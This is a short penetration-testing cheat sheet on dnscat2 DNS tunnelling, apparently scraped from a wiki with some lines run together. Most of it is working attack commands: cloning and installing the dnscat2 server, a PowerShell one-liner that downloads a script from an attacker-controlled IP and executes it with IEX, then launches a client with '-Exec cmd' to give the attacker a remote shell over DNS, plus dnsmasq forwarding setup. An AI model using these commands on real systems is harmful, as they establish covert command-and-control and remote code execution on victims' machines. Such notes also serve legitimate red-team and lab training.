DNScat
git clone https://github.com/iagox86/dnscat2.gitServer Installation
cd dnscat2/server/
sudo gem install bundler
sudo bundle installWindows ---> Ubuntu ---> Kali (Server)
$wc = New-Object System.Net.WebClient; $wc.Headers['User-Agent'] = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome; $wc.DownloadString('http://192.168.49.120/dnscat2.ps1') | IEX; Start-Dnscat2 -DNSserver 172.16.237.21 -Domain tunnel.com -PreSharedSecret 55cc1770f5788ab89b9071cb62907c21 -Exec cmdsudo ruby ~/tools/dnscat2/server/dnscat2.rb --dns host=192.168.49.120,port=53,domain=tunnel.com --no-cacheserver=/tunnel.com/192.168.49.120
sudo systemctl restart dnsmasqPowerShell Client (Separate Steps)
git clone https://github.com/lukebaggett/dnscat2-powershell.gitCan Set Up a Forward to Push Traffic Across a Tunnel
Used to List dnscat2 Options
Used to Interact with an Established dnscat2 Session
Last updated